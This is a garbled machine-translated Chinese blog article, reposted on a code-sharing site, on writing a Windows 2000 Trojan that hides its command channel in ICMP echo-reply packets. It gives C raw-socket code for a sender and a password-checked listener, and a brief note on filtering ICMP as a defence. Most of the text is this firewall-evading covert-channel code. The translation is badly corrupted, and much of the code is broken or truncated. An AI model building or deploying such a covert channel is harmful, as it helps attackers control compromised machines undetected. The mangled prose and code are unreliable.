ICMP-based Trojan writing

xiaoxiao2021-03-06  77

This article will analyze the internal construction and defense methods of Win2000 next new Trojan. (The default operating system of this article is Win2000, the development environment is VC 6.0.)

Everyone knows that the general "classical" type Trojans are transmitted by establishing a TCP connection, but this approach has a fatal vulnerability, which is that the Trojan is waiting and running, there is always one and outside. The contact-mentioned port is open, this is a Trojan's Achilles (see Greek myth "Trojan Wars"), and the master looks for one of the killers of Trojans (Netstat Dafa). The so-called road is one foot, the magic is one feet, the Trojan is constantly growing in the struggle, one of the ICMP Trojans completely got rid of the bondage of the port and became the leader in the hierarchy of hackers.

What is ICMP? ICMP is full of Internet Control Message Protocol. It is an access protocol for IP protocols, which are used to deliver poor messages and other message packets that need to be counted. This protocol is often TCP or UDP protocol services, but it can also Use alone, such as the famous tools ping (to MIKE)

MUUUUUUUSS pays tribute to the network diagnosis by sending receiving ICMP_ECHO and ICMP_ECHOREPLY packets.

In fact, the emergence of ICMP Trojans is inspirated by the PING program. Since the ICMP packet is directly handled by the system kernel or process instead of passing port, this gives Trojans a great opportunity to get rid of the port, Trojan will be disguised himself A ping process, the system will give the listening of ICMP_ECHOREPLY (PING HP) to Trojan Process, once in advance, the original ICMP_ECHOREPLY package appears (can determine the size of the package size, ICMP_SEQ, etc.), the Trojan will accept, Analyze and decode commands and data from the packets.

The ICMP_ECHOREPLY package also has penetration capabilities for firewalls and gateways. For firewalls, ICMP packets are classified as dangerous: from ping of death to ICMP storms to ICMP fragment attacks, constructing ICMP packets has always been one of the best ways to attack the host, so the general firewall will be ICMP packets are filtered; however, ICMP_ECHOREPLY packets often do not appear in the filtering strategy, because once the ICMP_ECHOREPLY packet is not allowed to make PING operations outside the host, this is extremely unfriendled for users. . If the setting is correct, ICMP_ECHOREPLY packets can also pass through the gateway and enter the LAN.

In order to achieve send / monitor ICMP packets, Sock_RAW must be established. First, we need to define an IP header:

Typedef struct iphdr {

Unsigned int version: 4; // ip version number, 4 indicate IPv4

Unsigned int h_len: 4; // 4 top length

Unsigned char TOS; // 8 service type TOS

Unsigned short total_len; // 16-bit total length (bytes)

UNSIGNED short ident; // 16 bit identity

Unsigned short frame_and_flags; // 3 bit flag

Unsigned char TTL; // 8-bit survival time TTL

Unsigned char proto; // 8-bit protocol (TCP, UDP or other)

Unsigned short checksum; // 16-bit IP header checksum unsigned int sourceip; // 32 bitsource IP address

UNSIGNED INT Destip; // 32 bit IP address

} Ipheader;

Then define an ICMP header:

Typedef struct _ihdr {

BYTE I_TYPE; / / 8-bit type

Byte I_code; // 8-bit code

Ushort i_cksum; // 16-bit checksum

Ushort i_id; // identification number (generally used process number as identification number)

Ushort i_seq; // message serial number

Ulong timestamp; // Timestamp

} Icmpheader;

At this time, you can build a original set of interfaces with WSASocket:

SockRaw = WSASOCKET

AF_INET, / / ​​AGRIC

SOCK_RAW, // Protocol type, SOCK_RAW is represented by the original socket

Ipproto_icmp, // protocol, ipproto_ICMP represents ICMP Data

NULL, // WSAPROTOCOL_INFO

0, // Reserved word, always set to 0

WSA_FLAG_OVERLAPPED // flag

);

Note: In order to use the send reception timeout setting (set SO_RCVTIMEO, SO_SNDTIMEO), the flag must be WSA_FLAG_OVERLAPPED.

You can then populate the ICMP report segment using the Fill_ICMP_DATA subroutine:

Fill_ICMP_DATA function:

Void fill_icmp_data (char * icmp_data, int dataize)

{

ICMPHEADER * ICMP_HDR;

Char * datapart;

ICMP_HDR = (ICMPHEADER *) ICMP_DATA;

ICMP_HDR-> i_type = ICMP_ECHOREPLY; // Type ICMP_ECHOREPLY

ICMP_HDR-> I_CODE = 0;

ICMP_HDR-> i_id = (usHort) getCurrentProcessId (); // Identification number as progress number

ICMP_HDR-> i_cksum = 0; // Check and initialization

ICMP_HDR-> i_seq = 0; // Serial number initialization

DataPART = ICMP_DATA SIZEOF (ICMPHEADER); // The address of the data is added to the ICMP packet address plus the first length of ICMP.

MEMSET (DataPart, "A", DataSize - Sizeof (Icmpheader)); // I am filled with "A", you can fill any code and data, actually transferred between Trojans and the control terminal through data segment data.

}

Use the Checksum subroutine to calculate the ICMP checksum:

Call method:

((ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum ((USHORT *) ICMP_DATA, DATASIZE);

Checksum function:

Ushort Checksum (Ushort * Buffer, int size)

{

Unsigned long cksum = 0;

While (size> 1)

{

CKSUM = * Buffer ;

Size - = SizeOf (Ushort);

}

IF (size) CKSUM = * (Uchar *) BUFFER;

CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF); CKSUM = (CKSUM >> 16);

Return (Ushort) (~ CKSUM);

} // checksum function is a standard checksum function, you can also replace it with any of the optimized checksum functions.

Subsequently, ICMP_ECHOREPLY packets can be sent via Sendto function:

Sendto (SockRaw, ICMP_DATA, DATASIZE, 0, (Struct SockAddr *) & Dest, SizeOf (DEST));

As the listening program of the server, the basic operation is the same, just need to use the RECVFRM function to receive ICMP_ECHOREPLY packets and use the Decoder function to decode the received packets as data and commands:

RECV_ICMP = Recvfrom (SockRaw, Recvbuf, Max_packet, 0, (Struct)

SockAddr *) & from, & fromlen;

Decode_resp (Recvbuf, Recv_icmp, & from);

Decoder function:

Void Decoder (Char * BUF, INT BYTES, STRUCKADDR_IN * FROM)

{

Ipheader * iphdr;

ICMPHEADER * ICMPHDR;

UNSIGNED Short IphDrlen;

iPhdr = (ipheader *) BUF; // ip header address is equal to Buf's address

iphdrlen = iphdr-> h_len * 4; // Because h_len is 32-bit Word, to be converted to bytes must * 4

ICMPHDR = (ICMPHEADER *) (BUF IPHDRLEN); // ICMP header address is equal to IP header plus BUF

Printf ("% D Bytes from% s:", bytes, inet_ntoa (from-> sin_addr); // Take out the source address

Printf ("ICMP_ID =% D.", ICMPHDR-> i_id); // Remove the process number

Printf ("ICMP_SEQ =% D.", ICMPHDR-> i_SEQ); // Take the serial number

Printf ("ICMP_TYPE =% D", ICMPHDR-> i_type); // Remove type

Printf ("ICMP_CODE =% D", ICMPHDR-> i_code); // Remove the code

For (i = 0; // Remove data segment

}

Note: Using Sock_RAW under Win2000 requires administrator's permissions.

For ICMP Trojans, unless you use a sniffer or monitor Windows SockAPI call, it is difficult to find Trojans from the network (regarding the hidden and cracking of the process), then, what is it? What can I remedy? Yes, it is to filter ICMP packets. For Win2000, the ICMP protocol can be filtered using the routing function of the system, and Win2000's Routing

& Remote Access function is very powerful, one is to establish a TCP / IP protocol filter: Open Routing & Remote Access, select the machine name, in the IP route -> general-> network card properties have two filters - input filtering and Output filtering, as long as the protocol you want to filter is a strategy, ICMP Trojans will use the hero. However, it is worth noting that once ICMP_ECHOREPLY packets are banned in the input filter, you don't want to use ping. This tool; if all ICMP packets are filtered, you will not receive any error packets. When you use IE to access a website that does not exist, it will often take several times to know the results (嘿, network Not arrival, the host is not reached, you can't receive a message you can't reach the message), and the TRACERT tool based on the ICMP protocol will also be invalid. This is also the contradiction between convenience and security. appendix:

1. Send the program code for ICMP_ECHOREPLY packets

#include

#include

#include

#define ICMP_ECHO 8 // ICMP Request Request Packet Type value of 8

#define ICMP_ECHOREPLY 0 // ICMP Review Packet Type value is 0

#define ICMP_MIN 8 // The minimum length of ICMP packet is 8 bytes (only the first)

#define ICMP_DEST_IP "127.0.0.1" // IP of the target host

#define ICMP_Password 1234 // Password Settings to identify the control

/ / Define IP's head

Typedef struct iphdr {

Unsigned int version: 4; // ip version number, 4 indicate IPv4

Unsigned int h_len: 4; // 4 top length

Unsigned char TOS; // 8 service type TOS

Unsigned short total_len; // 16-bit total length (bytes)

UNSIGNED short ident; // 16 bit identity

Unsigned short frame_and_flags; // 3 bit flag

Unsigned char TTL; // 8-bit survival time TTL

Unsigned char proto; // 8-bit protocol (TCP, UDP or other)

UNSIGNED Short Checksum; // 16-bit IP header checksum

Unsigned int sourceip; // 32 bitsource IP address

UNSIGNED INT Destip; // 32 bit IP address

} Ipheader;

/ / Define ICMP's head

Typedef struct _ihdr

{

BYTE I_TYPE; / / 8-bit type

Byte I_code; // 8-bit code

Ushort i_cksum; // 16-bit checksum

Ushort i_id; // Identification number (generally used process number as an identification number) Ushort i_seq; // message serial number

Ulong timestamp; // Timestamp

} Icmpheader;

#define status_failed 0xffff

#define def_packet_size 64 // Defines the size of the message to 64 bytes.

#define max_packet 6500 / / Defines the maximum size of 6500 bytes

#define Xmalloc (s) Heapalloc (GetProcessHeap (), Heap_Zero_Memory, (S))

#define xfree (p) Heapfree (getProcessHeap (), 0, (P))

Void Fill_icmp_data (char *, int); // Pack the subroutine of ICMP packets

Ushort checksum (ushort *, int); // calculate the subroutine of the checksum

INT main (int Argc, char ** argv)

{

Wsadata wsadata;

Socket SockRaw = (socket) NULL;

Struct SockAddr_in Dest, from

Struct hostent * hp;

Int Bread, DataSize, Retval, Bwrote

Int fromlen = sizeof (from);

INT TIMEOUT = 1000;

Char * ICMP_DATA;

Char * Recvbuf;

Unsigned int Addr = 0;

Ushort seq_no = 0;

Static int ncount = 0;

IF ((retval = wsastartup (makeword (2, 1), & wsadata))! = 0)

{FPRINTF (stderr, "wsastartup failed:% d / n", retval; exitprocess (status_failed);}

IF ((SockRaw = WSASOCKET (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED) == Invalid_socket

{fprintf (stderr, "wsasocket () failed:% D / N", wsagetlasterror ()); EXITPROCESS (STATUS_FAILED);

__TRY

{

IF ((Bread = Setsockopt (SockRaw, SOL_Socket, SO_RCVTIMEO, (CHAR *) & Timeout, SizeOf (Timeout)) == Socket_ERROR)

{FPRINTF (stderr, "failed to set recv timeout:% d / n", wsagetlasterror ()); __ leave;} // Settings reception timeout

IF ((Bread = Setsockopt (SockRaw, SOL_Socket, SO_SNDTIMEO, (CHAR *) & Timeout, SizeOf (Timeout)) == Socket_ERROR)

{FPRINTF (stderr, "failed to set send timeout:% d / n", wsagetlasterror ()); __ leave;} // Settings send timeout

MEMSET (& DEST, 0, SIZEOF (DEST);

DEST.SIN_FAMILY = AF_INET; DEST.SIN_ADDR.S_ADDR = INET_ADDR (ICMP_DEST_IP);

DataSize = Def_packet_size;

DataSize = Sizeof (Icmpheader);

ICMP_DATA = Xmalloc (MAX_PACKET);

Recvbuf = xmalloc (max_packet);

If (! ICMP_DATA) {fprintf (stderr, "heapalloc filed% d / n", getLastError ()); __ leave;}

MEMSET (ICMP_DATA, 0, MAX_PACKET);

Printf ("/ nsend packet to% s success! / n", ICMP_DEST_IP);

Fill_icmp_data (ICMP_DATA, DATASIZE); // Populate ICMP Packets

(ICMPHEADER *) ICMP_DATA) -> TimeStamp = gettickcount (); // Set timestamp

(ICMPHEADER *) ICMP_DATA) -> i_seq = icmp_password; // Set the serial number, you can verify this password when actually used

(ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum (USHORT *) ICMP_DATA, DATASIZE); // Calculate checksum

BWROTE = Sendto (SockRaw, ICMP_DATA, DATASIZE, 0, (Struct SockAddr *) & Dest, Sizeof (DEST)); // Send Packet

IF (BWrote == Socket_ERROR)

{

IF (wsagetlasterror () == wsaetimedout) Printf ("TIMED OUT / N");

FPrintf (stderr, "sendto failed:% d / n", wsagetlasterror ());

__leave;

}

IF (BWrote

}

__finally

{

IF (SockRaw! = Invalid_socket) CloseSocket (SOCKRAW);

WSACLEANUP ();

}

Return 0;

}

/ / Calculate the checksum function

Ushort Checksum (Ushort * Buffer, int size)

{

Unsigned long cksum = 0;

While (size> 1)

{

CKSUM = * Buffer ;

Size - = SizeOf (Ushort);

}

IF (size) {

CKSUM = * (Uchar *) BUFFER;

}

CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF);

CKSUM = (CKSUM >> 16);

Return (Ushort) (~ CKSUM);

}

// Fill the ICMP Data News function

Void fill_icmp_data (char * icmp_data, int dataize)

{

INT I;

Char sendmsg [20] = "Hello World!";

ICMPHEADER * ICMP_HDR;

Char * datapart;

ICMP_HDR = (ICMPHEADER *) ICMP_DATA;

ICMP_HDR-> i_type = ICMP_ECHOREPLY;

ICMP_HDR-> I_CODE = 0;

ICMP_HDR-> I_ID = (Ushort) getCurrentProcessId ();

ICMP_HDR-> I_CKSUM = 0;

ICMP_HDR-> i_seq = 0;

DataPart = ICMP_DATA SIZEOF (ICMPHEADER);

For (i = 0; I

}

2, receive the program code for ICMP_ECHOREPLY packets

#include

#include

#include

#define ICMP_echo 8

#define ICMP_ECHOREPLY 0

#define ICMP_MIN 8 // minimum 8 Byte ICMP Packet (Just Head)

#define ICMP_Password 1234

/ * The ip header * /

Typedef struct iphdr {

Unsigned int h_len: 4; // 4 top length

Unsigned int version: 4; // ip version number, 4 indicate IPv4

Unsigned char TOS; // 8 service type TOS

Unsigned short total_len; // 16-bit total length (bytes)

UNSIGNED short ident; // 16 bit identity

Unsigned short frame_and_flags; // 3 bit flag

Unsigned char TTL; // 8-bit survival time TTL

Unsigned char proto; // 8-bit protocol (TCP, UDP or other)

UNSIGNED Short Checksum; // 16-bit IP header checksum

Unsigned int sourceip; // 32 bitsource IP address

UNSIGNED INT Destip; // 32 bit IP address

} Ipheader;

/ / Define ICMP's head

Typedef struct _ihdr

{

BYTE I_TYPE; / / 8-bit type

Byte I_code; // 8-bit code

Ushort i_cksum; // 16-bit checksum

Ushort i_id; // identification number (generally used process number as identification number)

Ushort i_seq; // message serial number

Ulong timestamp; // Timestamp

} Icmpheader;

#define status_failed 0xffff

#define def_packet_size 640 # define max_packet 6500

#define Xmalloc (s) Heapalloc (GetProcessHeap (), Heap_Zero_Memory, (S))

#define xfree (p) Heapfree (getProcessHeap (), 0, (P))

Void Fill_ICMP_DATA (Char *, Int);

Ushort Checksum (ushort *, int);

Void decode_resp (char *, int, structure sockaddr_in *);

INT main (int Argc, char ** argv) {

Wsadata wsadata;

Socket SockRaw = (socket) NULL;

Struct SockAddr_in Dest, from

Struct hostent * hp;

Int Bread, DataSize, RetVal

Int fromlen = sizeof (from);

INT TIMEOUT = 1000;

Char * ICMP_DATA;

Char * Recvbuf;

Unsigned int Addr = 0;

Ushort seq_no = 0;

IF ((retval = wsastartup (Makeword (2, 1), & WSADATA)! = 0) {

FPRINTF (stderr, "WSAStartup Failed:% D / N", RETVAL);

EXITPROCESS (STATUS_FAILED);

}

SockRaw = WSASOCKET (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED);

IF (SockRaw == Invalid_socket) {

FPRINTF (stderr, "wsasocket () failed:% d / n", wsagetlasterror ());

EXITPROCESS (STATUS_FAILED);

}

__Try {

Bread = setsockopt (SockRaw, SOL_Socket, SO_RCVTIMEO, (CHAR *) & Timeout, SizeOf (Timeout);

IF (BREAD == Socket_ERROR)

{

FPRINTF (stderr, "failed to set recv timeout:% d / n", wsagetlasterror ());

__leave;

}

Bread = setsockopt (SockRaw, SOL_Socket, SO_SNDTIMEO, (CHAR *) & Timeout, SizeOf (Timeout));

IF (BREAD == Socket_ERROR)

{

FPRINTF (stderr, "failed to set send timeout:% d / n", wsagetlasterror ());

__leave;

}

MEMSET (& DEST, 0, SIZEOF (DEST);

dest.sin_family = af_inet;

Dest.sin_addr.s_addr = inet_addr ("207.46.230.218"); // Arbitrary IP Address

DataSize = Def_packet_size;

DataSize = Sizeof (Icmpheader);

ICMP_DATA = Xmalloc (MAX_PACKET);

Recvbuf = xmalloc (max_packet);

IF (! iCMP_DATA) {fprintf (stderr, "heapalloc failed% D / N", getLastError ());

__leave;

}

MEMSET (ICMP_DATA, 0, MAX_PACKET);

While (1) {

Static int ncount = 0;

Int bwrote;

Fill_icmp_data (ICMP_DATA, DATASIZE);

((ICMPHEADER *) ICMP_DATA) -> i_cksum = 0;

((ICMPHEADER *) ICMP_DATA) -> TimeStamp = GetTickCount ();

((ICMPHEADER *) ICMP_DATA) -> i_seq = 1111;

((ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum ((USHORT *) ICMP_DATA, DATASIZE);

BWrote = Sendto (SockRaw, ICMP_DATA, DATASize, 0, (Struct SockAddr *) & Dest, SizeOf (DEST));

Bread = Recvfrom (SockRaw, Recvbuf, Max_packet, 0, (Struct SockAddr *) & from, & fromLen;

IF (Bread == Socket_Error) {

IF (wsagetlasterror () == wsaetimedout) {

CONTINUE;

}

FPRINTF (stderr, "recvfrom failed:% d / n", wsagetlasterror ());

__leave;

}

Decode_resp (Recvbuf, Bread, & from);

Sleep (1000);

}

}

__finally {

IF (SockRaw! = Invalid_socket) CloseSocket (SOCKRAW);

WSACLEANUP ();

}

Return 0;

}

Void decode_resp (char * buf, int tentes, struct sockaddr_in * from)

{

INT I;

Ipheader * iphdr;

ICMPHEADER * ICMPHDR;

UNSIGNED Short IphDrlen;

iPhdr = (ipheader *) BUF;

iphdrlen = iphdr-> h_len * 4;

ICMPHDR = (ICMPHEADER *) (BUF IPHDRLEN);

IF (ICMPHDR-> i_seq == ICMP_Password) // The password is correct to output data segment

{

Printf ("% D Bytes from% s:", bytes, inet_ntoa (from-> sin_addr);

Printf ("ICMPTYPE% D", ICMPHDR-> i_TYPE);

Printf ("ICMPCODE% D", ICMPHDR-> i_code;

Printf ("/ n");

For (i = 0; i <50; i ) Printf ("% c", * (buf iPhdrlen i 12));

}

Else Printf ("Other ICMP Packets! / N");

Printf ("/ n");

}

Ushort Checksum (Ushort * Buffer, Int size) {

Unsigned long cksum = 0;

While (size> 1) {

CKSUM = * Buffer ;

Size - = SizeOf (Ushort);

}

IF (size) {

CKSUM = * (Uchar *) BUFFER;

}

CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF);

CKSUM = (CKSUM >> 16);

Return (Ushort) (~ CKSUM);

}

Void fill_icmp_data (char * icmp_data, int datasize) {

ICMPHEADER * ICMP_HDR;

Char * datapart;

ICMP_HDR = (ICMPHEADER *) ICMP_DATA;

ICMP_HDR-> i_TYPE = ICMP_ECHO;

ICMP_HDR-> I_CODE = 0;

ICMP_HDR-> I_ID = (Ushort) getCurrentProcessId ();

ICMP_HDR-> I_CKSUM = 0;

ICMP_HDR-> i_SEQ = 12;

DataPart = ICMP_DATA SIZEOF (ICMPHEADER);

MEMSET (DataPart, 'A', DataSize - Sizeof (Icmpheader);

转载请注明原文地址:https://www.9cbs.com/read-121569.html

New Post(0)